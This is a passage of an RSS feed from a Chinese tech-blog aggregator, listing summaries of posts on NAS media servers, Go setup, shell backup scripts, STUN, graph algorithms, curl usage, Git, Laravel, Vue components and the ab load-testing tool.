      <link>https://bchobby.github.io/posts/529349985ec546976050267bc29dec54/</link>
      <pubDate>Sat, 26 Oct 2019 21:14:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/529349985ec546976050267bc29dec54/</guid>
      <description>转载：http://www.nasyun.com/forum.php?mod=viewthread&amp;amp;reload=true&amp;amp;tid=67700，作者：pipideng&#xA;折腾NAS快两周，差点一把火烧了我的NAS，最终还是搞出了我想要的播放分类界面，于是随手整理了一些零碎的经验，涉及kodi+emby组建家庭影音服务，以及关于电影和剧集的整理分类方式。&#xA;而对我来说，最重要的是实现电影电视剧的管理和播放目录编排，最好能做到像各种盒子那样的播放目录。&#xA;网上的教程大多涉及较专业的内容，我是完完全全的小白，从来没有接触过这块，而且有些内容也不符合我最终的需求，所以试着用最浅白，略带啰嗦的语言（其实是我不专业）分享一下我的做法。&#xA;以下同样的设置同样适用于其他客户端，比如电脑、盒子等，在我的测试中，使用了海美迪盒子，安卓7.0的系统，同样安装了kodi+emby，效果还是不错的，但是却不完美支持海美迪的遥控器，不能选择字幕和声道，原本是遥控器按“ok”键，出现暂停、停止，字幕、声道等信息，但是在海美迪的遥控逻辑里，按下ok键是直接暂停影片，然后没得选择，而在后来发现，有emby TV的安卓版，不需要安装kodi，安装后可直接使用，下载安装测试，完美解决遥控器选择信息的问题，顺带解决了其他的细节问题。顺手再提供kodi和emby的安装包吧。 需要用到的材料：&#xA;kodi的qpkg安装包，提供一个较新的版本：18.4&#xA;Emby server的qpkg安装包，提供一个较新的版本：4.2.1&#xA;百度网盘： 游客，如果您要查看本帖隐藏内容请回复&#xA;kodi 的apk安装包 版本：18.4&#xA;emby TV版的apk安装包 版本：1.7.43&#xA;百度网盘： 游客，如果您要查看本帖隐藏内容请回复&#xA;过程之中需要在kodi中搜索各类插件在线安装，如果嫌麻烦，可以在 http://www.kodiplayer.cn/plugins/ 选择下载插件包，然后在kodi中进行插件的本地安装。&#xA;首先，我对于多终端外网远程访问并没有太大需求，主要是本地播放为主，所以我当初选择的机器是威联通（QNAP）的TS-251+，配置可以满足一般的影音播放管理的需求，初学者玩玩也够了，这东西提供HDMI直连电视，可以直接通过电视播放点播NAS存储的影片，这个对我很重要，并且提供遥控器，也可以手机安装Qremote进行遥控。我的电视机较久远，不是智能电视，不能安装任何第三方软件，虽然也可以在盒子上面装，但没有设备直投来的直接和稳定。当然，使用NAS机器的直连，投放出来的画面效果是比不上各种盒子的，毕竟那些都是专门定制，并且有专门的视屏解码硬件，但其实也在可接受范围。&#xA;下面开始正式分享&#xA;硬件设备安装好，必备软件安装好，网络连接好，这就不多说了。我在这里主要是影音文件的整理分类，不涉及高级网络等的其他设置&#xA;我的设备固件在线更新至4.4.1.1064，安装HybirdDesk Station（HD Station），版本4.0.3，要HDMI投屏必须装。其实系统上本来就可以安装Vedio Station、Music Station等用于管理NAS上的各种资源，然后HD Station上安装HD Player进行播放，虽然HD Player是kodi改头换面的版本，但无奈何，官方出品的太糟糕了，很难用，操作界面实在有点不人道，并且运行速度真的不咋样，最重要的是没办法满足我的分类要求，果断放弃。&#xA;首先是在组建的过程中我厘清楚了几个概念，这是我从各种盒子得到的启发，比如我们打开小米盒子，里面可以点播电影电视剧，可以选择，选择后有各级菜单，比如选择电影--&amp;gt;大陆--&amp;gt;剧情--&amp;gt;影片--&amp;gt;显示影片信息，喜欢、想看--&amp;gt;点击播放，这个选择播放逻辑是比较清晰的，而我们在电视上看到的呈现的操作界面就是装在小米盒子上的客户端，对应的就会在后台有服务器端，对各种资源进行管理，小米盒子通过互联网与服务器端相连，自动刷新服务器的数据。&#xA;比如添加影片，在服务器端添加上新的影片文件后，通过网络，我们就可以在小米盒子上看到影片更新了。而我就是想要这样的效果，包括点播界面，emby就是这么一个东西，只不过本地播放软件或者说客户端，我选择kodi+emby插件，服务器端用emby server。为什么这么选择，官方普通班免费，并且很多大神已有相关说明，在这再简单说一下，就是kodi利用本地资源解码，速度快，性能好，但是资源管理的功能较差，而他可以安装emby插件，emby的资源管理功能强大，我用过之后感觉确实感觉惊喜。&#xA;像我家这样的情况，设备直投电视，播放本地存储在NAS硬盘上的影视资源，服务器端装在哪里？客户端又装在哪里？像我这样的超级无敌小白，只能从最简单的层面去理解。&#xA;主机NAS就是一台服务器，管理着硬盘信息，所以，emby server就要装在NAS上，通过你电脑或其他终端登录NAS的Web管理界面安装。kodi是客户端，那么就需要装在HD Station上，其实HD Station就相当于虚拟机，也可以理解为一台单独的设备，比如理解为电视盒子，只不过程序都是装在NAS上，服务端系统和HD Station相互独立，然后kodi这个软件通过HD Station投播到电视上，HD Station这个虚拟机与NAS主机已默认设置好关联连接，所以在本地不需要做特别的网络设置。我是这么理解的，因为我理解的层面也只能到此，不知道哪位有关注的大神们可以再专业点解释。&#xA;而其他的客户端一样，比如各种安卓智能电视，安卓盒子等，那么这些就是客户端，服务器端装好后，在这些设备装上相应的客户端就行。&#xA;废话一箩筐，接下来开始入正题&#xA;一、emby server和kodi的安装&#xA;1、 先安装embyserver&#xA;在电脑上用浏览器打开NAS的管理页面，选择APP center，打开后，记得是在QNAP Store的选项上，然后点击右上角的手动安装&#xA;&#34; lazyloaded=&#34;true&#34; _load=&#34;1&#34; style=&#34;overflow-wrap: break-word; object-fit: cover; max-width: 655px; cursor: pointer;&#34;&amp;gt;&#xA;&#34; lazyloaded=&#34;true&#34; _load=&#34;1&#34; style=&#34;overflow-wrap: break-word; object-fit: cover; max-width: 655px; cursor: pointer;&#34;</description>
    </item>
    <item>
      <title>CiteSpace作者合作网络分析-web of science文献</title>
      <link>https://bchobby.github.io/posts/c7d6e889004f6839b090e9ba8e766b6c/</link>
      <pubDate>Sat, 26 Oct 2019 10:55:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7d6e889004f6839b090e9ba8e766b6c/</guid>
      <description>欢迎关注公众号，DataDesigner，让我们一起白话机器学习。&#xA;一 、安装环境&#xA;Citespace下载网址：citespace官方下载网址，需要提前安装jdk环境（官网也提供）&#xA;二、web of science 导出数据&#xA;三、citespace操作&#xA;将output文件夹中文件复制到data文件夹中，并在主界面指定相对应文件夹&#xA;直到屏幕变白为止。</description>
    </item>
    <item>
      <title>win10下Go环境的安装</title>
      <link>https://bchobby.github.io/posts/efa80164783d59f7bfa90a64c0823a3e/</link>
      <pubDate>Sat, 26 Oct 2019 10:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efa80164783d59f7bfa90a64c0823a3e/</guid>
      <description>环境安装 首先我们需要在这里下载所需的安装包，在下载页面提供了比较全面的版本可供下载，目前所用的机器为Win10的机器，所以选择的是go1.13.3.windows-amd64.msi，如下图。&#xA;下载完成之后，直接安装即可。安装完成，输入:go version，如果能够正常输出，说明已经安装成功。&#xA;运行第一个Demo 在环境安装完成之后，我们就可以运行第一个Demo了。&#xA;首先，我们先创建一个项目的根目录，比如笔者是在D:\codes\路径下创建了一个文件夹叫GoProject，之后在项目根目录下创建三个文件夹，分别叫做bin、pkg、src，然后将项目根目录的路径写入环境变量GOPATH中。如下图所示。&#xA;之后，我们在src下就可以创建自己的包了，这里笔者在src下创建了一个包，即一个文件夹，叫做MyTest，然后在MyTest文件夹下创建了一个Go文件HelloWorld.go，其中内容为：&#xA;package main import &#34;fmt&#34; func main() { fmt.Println(&#34;Hello, World!&#34;) } 之后，打开控制台，输入go install MyTest，可以看到bin文件夹下出现了这个包所对应的可执行文件。&#xA;或者，我们可以输入go run MyTest，之后，我们可以看到在控制台中打印出了Hello World!，至此，我们的第一个Demo便成功运行完毕。</description>
    </item>
    <item>
      <title>tensorboard错误经历</title>
      <link>https://bchobby.github.io/posts/aea2ed1d5a54cc73304f9f875e006a11/</link>
      <pubDate>Sat, 26 Oct 2019 10:07:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aea2ed1d5a54cc73304f9f875e006a11/</guid>
      <description>2019-10-26 09:41:34.625499: W tensorflow/stream_executor/platform/default/dso_loader.cc:55] Could not load dynamic library &#39;libcuda.so.1&#39;; dlerror: libcuda.so.1: cannot open shared object file: No such file or directory 2019-10-26 09:41:34.625525: E tensorflow/stream_executor/cuda/cuda_driver.cc:318] failed call to cuInit: UNKNOWN ERROR (303) 2019-10-26 09:41:34.625538: I tensorflow/stream_executor/cuda/cuda_diagnostics.cc:156] kernel driver does not appear to be running on this host (lixinming-Lenovo-Product): /proc/driver/nvidia/version does not exist 2019-10-26 09:41:34.625714: I tensorflow/core/platform/cpu_feature_guard.cc:142] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA 2019-10-26 09:41:34.</description>
    </item>
    <item>
      <title>shell脚本--设置定期自动备份日志文件</title>
      <link>https://bchobby.github.io/posts/cde06394eb48839ce658e5d74ab31ac2/</link>
      <pubDate>Sat, 26 Oct 2019 00:11:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cde06394eb48839ce658e5d74ab31ac2/</guid>
      <description> 每周五23：50自动备份/var/log下的所有日志文件到/root/Backup目录下 ，并以日期命名；&#xA;#vim backup.sh [ -d /root/Backup ] &amp;amp;&amp;amp; echo &#34;Backup is ready&#34; || mkdir /root/Backup &amp;gt; /dev/null&#x9;#先判断备份文件保存目录是否存在，不存在则创建 tar -czfP /root/Backup/log-`date +%Y%m%d`.tar.gz /var/log&#x9;## tar默认为相对路径，可以使用-P参数使用绝对路径 ##保存并退出脚本，编写计划任务，以下命令在系统命令界面设置&#xA;#chmod +x /root/backup.sh #添加可执行权限 #crontab -e 30 23 * * 5&#x9;/root/backup.sh 每天备份前一天的日志，保留30天日志并定期清理30天前的备份日志&#xA;vim logbak.sh #!/bin/bash #获取备份的前一天时间 DAY=`TZ=&#34;TAIST+16&#34; date +%Y-%m-%d` #备份前一天的日志文件 tar cvf /u01/mics/log_archive/$DAY.tar /u01/mics/log/$DAY /u01/mics/log/*.log gzip -r /u01/mics/log_archive/$DAY.tar #清除备份目录下30天前的备份文件 find /u01/mics/log_archive/ -mtime +30 -exec rm -rf {} \; #设定计划任务。每天00：30备份昨天的日志 crontab -e 30 00 * * * sh /u01/mics/baklog </description>
    </item>
    <item>
      <title>WebRTC(八) STUN协议</title>
      <link>https://bchobby.github.io/posts/5cb1c77c6c3e41329d8fb83dc1ed2b28/</link>
      <pubDate>Fri, 25 Oct 2019 17:52:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cb1c77c6c3e41329d8fb83dc1ed2b28/</guid>
      <description>STUN简介 STUN（Simple Traversal of User Datagram Protocol through Network Address Translators (NATs)，NAT的UDP简单穿越）是一种网络协议，它允许位于NAT（或多重NAT）后的客户 端找出自己的公网地址，查出自己位于哪种类型的NAT之后以及NAT为某一个本地端口所绑定的Internet端端口。这些信息被用来在两个同时处于 NAT路由器之后的主机之间建立UDP通信。(摘抄自百度百科)&#xA;概括来说STUN就是一种用于穿越NAT的基于UDP的网络协议。其目的是在两个同时处于NAT之后的主机建立通信。&#xA;STUN协议由RFC3489定义，现在已经被RFC5389所取代。在RFC5389中STUN协议的全称是Session Traversal Utilities for NAT即解决NAT转换环境下的会话工具。STUN协议(RFC5389)本身并不是NAT穿越的解决方案，而是用来解决NAT穿越的工具。相比之前的RFC3489来说，这是个很重要的改变。因为RFC3489本身是NAT穿越的完整解决方案。&#xA;以下分析基于RFC5389&#xA;STUN报文结构 下图是stun请求的抓包&#xA;下图是STUN响应的抓包&#xA;图的左上部分是用WireShark抓包的16进制数据。右边是用Wire Shark的抓包截图。&#xA;左下部分是展开的16进制数据和含义的对应。&#xA;STUN Header STUN协议首先包括20字节的Header部分。&#xA;Header中包含2个字节的STUN Message Type, 2个字节的Message Length,&#xA;4个字节的Magic Cookie，12个字节的Transaction ID。&#xA;以下是Header的格式&#xA;0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0 0| STUN Message Type | Message Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Magic Cookie | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Transaction ID (96 bits) | | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Message Type:</description>
    </item>
    <item>
      <title>图-弗洛伊德（FloydWarshall）算法详解（含全部代码）</title>
      <link>https://bchobby.github.io/posts/0bfb891321d4115b8fedae3651cfc9a1/</link>
      <pubDate>Fri, 25 Oct 2019 09:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bfb891321d4115b8fedae3651cfc9a1/</guid>
      <description>目录&#xA;适用条件&#xA;基本操作函数&#xA;功能实现函数&#xA;测试使用图&#xA;算法讲解&#xA;初始化&#xA;迭代&#xA;弗洛伊德算法代码&#xA;全部代码&#xA;实验结果&#xA;最短路径算法比较&#xA;适用条件 图中可以有负权，但不能有负圈（圈中弧或边的权值之和小于0）&#xA;基本操作函数 InitGraph(Graph &amp;amp;G) 初始化函数 参数：图G 作用：初始化图的顶点表，邻接矩阵等InsertNode(Graph &amp;amp;G,VexType v) 插入点函数 参数：图G,顶点v 作用：在图G中插入顶点v,即改变顶点表InsertEdge(Graph &amp;amp;G,VexType v,VexType w) 插入弧函数 参数：图G,某弧两端点v和w 作用：在图G两点v,w之间加入弧，即改变邻接矩阵Adjancent(Graph G,VexType v,VexType w) 判断是否存在弧(v,w)函数 参数：图G，某弧两端点v和w 作用：判断是否存在弧(v,w)BFS(Graph G, int start) 广度遍历函数 参数：图G,开始结点下标start 作用：宽度遍历DFS(Graph G, int start) 深度遍历函数（递归形式）参数：图G,开始结点下标start 作用：深度遍历Dijkstra(Graph G, int v) 最短路径 - Dijkstra算法 参数：图G、源点vBellman_Ford(Graph G, int v) 最短路径 - Bellman_Ford算法 参数：图G、源点v 作用：计算不含负圈图的最短路径 返回是否有圈Floyd_Wallshall(Graph G) 最短路径 - Floyd_Wallshall算法 参数：图G 作用：计算不含负圈图的最短路径 返回是否有圈 功能实现函数 CreateGraph(Graph &amp;amp;G) 创建图功能实现函数 参数：图G InsertNode 作用：创建图BFSTraverse(Graph G) 广度遍历功能实现函数 参数：图G 作用：宽度遍历DFSTraverse(Graph G) 深度遍历功能实现函数 参数：图G 作用：深度遍历Shortest_Dijkstra(Graph &amp;amp;G) 调用最短路径-Dijkstra算法 参数：图G、源点vShortest_Bellman_Ford(Graph &amp;amp;G) 调用最短路径- - Bellman_Ford算法 参数：图GShortest_Floyd_Wallshall(Graph &amp;amp;G) 调用最短路径- - Floyd_Wallshall算法 参数：图G 测试使用图 测试使用图 算法讲解 初始化 表格行为i,列为j。D及P后小括号内的值为迭代次数。</description>
    </item>
    <item>
      <title>设计模式 - state 状态模式 与 strategy 策略模式 分析实现</title>
      <link>https://bchobby.github.io/posts/c148762b1ec1d0c859360fa6859a883f/</link>
      <pubDate>Fri, 25 Oct 2019 00:05:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c148762b1ec1d0c859360fa6859a883f/</guid>
      <description>策略模式-意图：允许用户根据需要来处理算法方案的变化&#xA;状态模式-意图：允许一个对象在其内部状态改变时改变它的行为。对象看起来似乎修改了它的类。&#xA;两种模式都由三个角色组成：&#xA;(1)环境(Context)角色：持有一个Strategy/state的引用（或以提供的形式，针对策略模式个人认为当具体的行为是个无状态实体时，没必要以持有的方式来实现，这样会造成改变策略时每次都需要创建一个新的环境和新的策略实体，但其实只要环境中有个提供具体行为的静态方法，每个具体行为都是一个单例就可以了）&#xA;(2)抽象策略/状态(Strategy/state)角色：这是一个抽象角色，通常由一个接口或者抽象类实现。此角色给出所有的具体策略/状态类的接口。&#xA;(3)具体策略/状态(ConcreteStrategy/ConcreteState)类，包装了相关的算法或者状态行为。&#xA;这两种模式都能有效的解决过度冗长的case，if else等逻辑判断问题。&#xA;比如：&#xA;if(条件1){ ... }else if(条件2){ ... }else if ... 如果只是三个判断左右，看起来并无大碍，当存在十几个判断体，且每个判断体内逻辑及其复杂时，这将看起来非常冗长，对于开发和维护无疑是个巨大的痛点。下面将针对两种设计模式做简单实现：&#xA;1、策略模式 样例：在一个系统中存在上百个条款，其中有十几个条款需要针对不同的场景定制不同的条款内容，这个例子不存在状态的转换（比如在策略A执行过程中因某种因素转到策略B执行）：&#xA;1.1 条款简体 /** * 条款简体 * &amp;lt;br&amp;gt;实例化方式：ClauseTools.newClause(code,name,value); * @author zhanghaowen */ public class Clause{ private String code; private String name; private String value; public Clause(String code,String name,String value){ this.code =code; this.name =name; this.value = value; } public String getCode() { return code; } public void setCode(String code) { this.code = code; } public String getName() { return name; } public void setName(String name) { this.</description>
    </item>
    <item>
      <title>curl 详解（转载阮一峰大佬的博客）</title>
      <link>https://bchobby.github.io/posts/3bf137be5256a7237ba8d37cc257c4a3/</link>
      <pubDate>Thu, 24 Oct 2019 22:34:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bf137be5256a7237ba8d37cc257c4a3/</guid>
      <description>&amp;lt;!-- div class=&#34;asset-body&#34; --&amp;gt; &amp;lt;h2&amp;gt;简介&amp;lt;/h2&amp;gt; curl 是常用的命令行工具，用来请求 Web 服务器。它的名字就是客户端（client）的 URL 工具的意思。&#xA;&amp;lt;!-- /div --&amp;gt; &amp;lt;!-- div id=&#34;more&#34; class=&#34;asset-more&#34; --&amp;gt; &amp;lt;p&amp;gt;它的功能非常强大，命令行参数多达几十种。如果熟练的话，完全可以取代 Postman 这一类的图形界面工具。&amp;lt;/p&amp;gt; 本文介绍它的主要命令行参数，作为日常的参考，方便查阅。内容主要翻译自《curl cookbook》。为了节约篇幅，下面的例子不包括运行时的输出，初学者可以先看我以前写的《curl 初学者教程》。&#xA;不带有任何参数时，curl 就是发出 GET 请求。&#xA;$ curl https://www.example.com 上面命令向www.example.com发出 GET 请求，服务器返回的内容会在命令行输出。&#xA;-A -A参数指定客户端的用户代理标头，即User-Agent。curl 的默认用户代理字符串是curl/[version]。&#xA;$ curl -A &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36&#39; https://google.com 上面命令将User-Agent改成 Chrome 浏览器。&#xA;$ curl -A &#39;&#39; https://google.com 上面命令会移除User-Agent标头。&#xA;也可以通过-H参数直接指定标头，更改User-Agent。&#xA;$ curl -H &#39;User-Agent: php/1.0&#39; https://google.</description>
    </item>
    <item>
      <title>1024</title>
      <link>https://bchobby.github.io/posts/021bbc7ee20b71134d53e20206bd6feb/</link>
      <pubDate>Thu, 24 Oct 2019 20:45:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/021bbc7ee20b71134d53e20206bd6feb/</guid>
      <description>1024程序员节快乐</description>
    </item>
    <item>
      <title>VBA程序 在Word文档中将表格中空白单元格填充为“无”</title>
      <link>https://bchobby.github.io/posts/e5263e52b1d03bf10c7b4b2196996b93/</link>
      <pubDate>Thu, 24 Oct 2019 17:19:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5263e52b1d03bf10c7b4b2196996b93/</guid>
      <description>打开宏编辑器功能，输入以下代码，然后编译执行。&#xA;Sub 填充文档中所有空白单元格() Dim oCell As Cell For i=1 To ActiveDocument.Tables.Count For Each oCell In ActiveDocument.Tables(i).Range.Cells If oCell.Range.Text = Chr(13) &amp;amp; Chr(7) Then With oCell.Range.Font .NameFarEast = &#34;宋体&#34; .NameAscii = &#34;宋体&#34; .NameOther = &#34;宋体&#34; .Size = 12 oCell.Range.Text = &#34;无&#34; oCell.Range.ParagraphFormat.Alignment = wdAlignParagraphLeft oCell.Range.Cells.VerticalAlignment = wdCellAlignVerticalCenter End With End If Next Next End Sub 如果仅对单个表格进行空白单元格填充，使用以下vba代码&#xA;Sub 单个表格填充空白单元格() Dim oCell As Cell For Each oCell In Selection.Tables(1).Range.Cells If oCell.Range.Text = Chr(13) &amp;amp; Chr(7) Then With oCell.</description>
    </item>
    <item>
      <title>【Git】.gitignore文件语法以及修改后无效的解决办法</title>
      <link>https://bchobby.github.io/posts/7647daade73449ac386e4fd87c10fe45/</link>
      <pubDate>Thu, 24 Oct 2019 16:57:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7647daade73449ac386e4fd87c10fe45/</guid>
      <description>.gitignore文件 .gitignore忽略文件用于添加不需要上传到git远程仓库的文件。&#xA;一、忽略规则 1、语法 符号描述#表示注释/表示目录*通配多个字符?通配单个字符[]包含单个字符的匹配列表!表示不忽略匹配到的文件或目录 2、示例 代码描述/file/忽略根目录下的file目录下的全部内容。file/忽略目录file下的全部内容。不管是根目录 /file/ ，还是子目录 /child/file/，都会被忽略。 二、.gitignore文件修改后无效 修改后无效是因为 .gitignore 对已经追踪（track）的文件是无效的，需要清除缓存，清除缓存后文件将以未追踪的形式出现。&#xA;git rm -r --cached . 这时重新添加（add）并提交（commit）就可以了。&#xA;git add . git commit -m &#39;添加对**文件的忽略&#39; 系列文章 Git专栏 Git使用（一）：安装与配置&#xA;Git使用（二）：创建项目并提交到远程仓库&#xA;Git使用（三）：分支管理，创建分支、合并分支、合并分支的某一次提交等&#xA;Git使用（四）：提交管理，修改提交信息、合并多次提交、版本回退、撤销本地文件修改等&#xA;Git使用（五）：解决冲突以及如何避免冲突&#xA;SmartGit 安装及使用（一）：安装及配置&#xA;SmartGit 安装及使用（二）：工作界面介绍、提交代码以及防止代码冲突等操作&#xA;SmartGit 安装及使用（三）：修改提交记录、合并多次提交、撤销本地文件修改、版本回退等操作&#xA;SmartGit 安装及使用（四）：创建、合并分支、合并某一次提交以及解决冲突等操作&#xA;SmartGit 安装及使用（附录）：注册非商业许可证&#xA;【Git】如何生成SSH key&#xA;【Git】.gitignore文件语法以及修改后无效的解决办法&#xA;【Git】Authentication failed for 错误解决&#xA;【Git】SSL certificate problem: unable to get local issuer certificate错误的解决办法&#xA;【Git】error: RPC failed； curl 92 HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR</description>
    </item>
    <item>
      <title>docker 报错 Container is not running</title>
      <link>https://bchobby.github.io/posts/abee686615ec6e0391489e64429b94ec/</link>
      <pubDate>Thu, 24 Oct 2019 16:32:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abee686615ec6e0391489e64429b94ec/</guid>
      <description>我在运行docker exec -it 56b90db5253e /bin/bash报错。&#xA;出现这个问题，是因为Container容器之前已经启动过了&#xA;需要执行docker start 56b90db5253e就可以解决了。</description>
    </item>
    <item>
      <title>Laravel Passport API token 验证，出现 Route [login] not defined 报错</title>
      <link>https://bchobby.github.io/posts/20ed8b832731a0ff025b1cd516a58d82/</link>
      <pubDate>Thu, 24 Oct 2019 09:30:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20ed8b832731a0ff025b1cd516a58d82/</guid>
      <description>Laravel Passport API token 验证，出现 Route [login] not defined 报错。报错显示确实不太友好，容易把错误引入到其他方向。 我刚开始看，也没看明白，不知道这个错误是啥，laravel 不应该强制用户定义 login 路由啊。通过测试，才知道是未登录导致的错误。 然后，根据 laravel 的报错提醒，我们简单追下源码，分析下问题： 错误位置： 1.laravel/framework/src/Illuminate/Routing/UrlGenerator.php:389 调用 route() 方法根据路由名 login，生成 url 报错 2.route() 方法的调用位置 app/Http/Middleware/Authenticate.php:18 protected function redirectTo($request) { if (! $request-&amp;gt;expectsJson()) { return route(&#39;login&#39;); } } 3.我们在控制器的构造方法中，使用了 passport 的中间件 $this-&amp;gt;middleware(&#39;auth:api&#39;, [&#39;except&#39; =&amp;gt; []]); 从这里，基本就可以看出，就是调用中间件的 redirectTo() 方法，因为没定义 &#39;login&#39; 路由导致了错误 分析： $request-&amp;gt;expectsJson() - 期望返回 json 格式，如果未返回，就返回要重定向的链接地址 这里，我们使用 passport api，所以很明显的是 $request-&amp;gt;expectsJson() 未通过导致的原因 继续看 request 的 expectsJson() 方法 public function expectsJson() { return ($this-&amp;gt;ajax() &amp;amp;&amp;amp; !</description>
    </item>
    <item>
      <title>el-select 下拉框多选实现全选</title>
      <link>https://bchobby.github.io/posts/823f0381e6589f1593db8dfc2db58656/</link>
      <pubDate>Wed, 23 Oct 2019 17:56:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/823f0381e6589f1593db8dfc2db58656/</guid>
      <description>在写一个功能时发现el-select支持多选，但是竟然不支持全选，好无语哦，那就自己实现一下吧~有两种方法，第二种感觉简单些 方法一：下拉项增加一个【全选】，然后应该有以下几种情况： 1.下拉选项全都勾选时，【全选】自动勾选； 2.下拉选项部分勾选时，点击【全选】后，所有下拉项全部勾选； 3.下拉选项全都未勾选时，点击【全选】后，所有下拉选项不勾选； 4.下拉选项和【全选】都选上的时候，不勾选任意下拉选项，【全选】按钮就不勾选了； html部分： &amp;lt;template&amp;gt; &amp;lt;el-select multiple collapse-tags v-model=&#39;selectedArray&#39; @change=&#39;changeSelect&#39; @remove-tag=&#39;removeTag&#39; placeholder=&#39;请选择&#39;&amp;gt; &amp;lt;el-option label=&#39;全选&#39; value=&#39;全选&#39; @click.native=&#39;selectAll&#39;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;el-option v-for=&#39;(item, index) in options&#39; :key=&#39;index&#39; :label=&#39;item.name&#39; :value=&#39;item.name&#39;&amp;gt;&amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/template&amp;gt; js部分： export default { data() { return { selectedArray: [], options: [ { name: &#39;一一&#39;, label: &#39;one&#39; }, { name: &#39;二二&#39;, label: &#39;tow&#39; }, { name: &#39;三三&#39;, label: &#39;three&#39; }, { name: &#39;四四&#39;, label: &#39;four&#39; }, { name: &#39;五五&#39;, label: &#39;five&#39; } ] } }, methods: { selectAll() { if (this.</description>
    </item>
    <item>
      <title>ab压力测试工具</title>
      <link>https://bchobby.github.io/posts/6f0d5bb9f4e8bc92056d093e0db2dd4c/</link>
      <pubDate>Wed, 23 Oct 2019 10:28:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f0d5bb9f4e8bc92056d093e0db2dd4c/</guid>
      <description>1.ab的简介 ab是apachebench命令的缩写。ab是apache自带的压力测试工具。ab非常实用，它不仅可以对apache服务器进行网站访问压力测试，也可以对或其它类型的服务器进行压力测试。比如nginx、tomcat、IIS等。&#xA;2.原理 ab的原理：ab命令会创建多个并发访问线程，模拟多个访问者同时对某一URL地址进行访问。它的测试目标是基于URL的，因此，它既可以用来测试apache的负载压力，也可以测试nginx、lighthttp、tomcat、IIS等其它Web服务器的压力。ab命令对发出负载的计算机要求很低，它既不会占用很高CPU，也不会占用很多内存。但却会给目标服务器造成巨大的负载，其原理类似CC攻击。自己测试使用也需要注意，否则一次上太多的负载。可能造成目标服务器资源耗完，严重时甚至导致死机。&#xA;3.安装 yum -y install httpd-tools&#xA;4.检验 ab -V&#xA;5.参数 [root@gjtest ~]# ab -help Usage: ab [options] [http[s]://]hostname[:port]/path Options are: -n requests Number of requests to perform -c concurrency Number of multiple requests to make at a time -t timelimit Seconds to max. to spend on benchmarking This implies -n 50000 -s timeout Seconds to max. wait for each response Default is 30 seconds -b windowsize Size of TCP send/receive buffer, in bytes -B address Address to bind to when making outgoing connections -p postfile File containing data to POST.</description>
    </item>
    <item>
      <title>SpringBoot-自定义配置-覆盖自动配置</title>
      <link>https://bchobby.github.io/posts/f70ebb1ffb49e607bba928ef6634ae65/</link>
      <pubDate>Wed, 23 Oct 2019 10:15:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f70ebb1ffb49e607bba928ef6634ae65/</guid>
      <description> Spring Boot 不是有很牛逼的自动配置吗？而且它的牛叉之一就是自动配置，让工程师从繁琐的，重复的配置中解放出来，为什么还要自定义配置？&#xA;Maven中的中打开pom.xml 增加如下配置：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 如果是Gradle，则需要在build.gradle中增加如下配置：&#xA;compile(&#34;org.springframework.boot:spring-boot-starter-security&#34;) 配置了安全配置以后，再次运行，输入你想看的阅读列表地址：http://localhost:8000/readlist/lg，发现会自动跳转到验证页面，需要输入用户名和密码。而这个用户名是固定的 user，密码就更蛋疼了，你可以在日志中看到密码。输入用户名和密码以后，就可以正常访问阅读列表了。&#xA;我相信，这不是你想要的认证配置：一个用户和一个非常其他的密码，那么，这个时候我们就希望自己配置安全你认证了。 </description>
    </item>
    <item>
      <title>shell 脚本--变量替换总结</title>
      <link>https://bchobby.github.io/posts/e3ed69acd6137b41259b67e0bd14e961/</link>
      <pubDate>Tue, 22 Oct 2019 21:14:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3ed69acd6137b41259b67e0bd14e961/</guid>
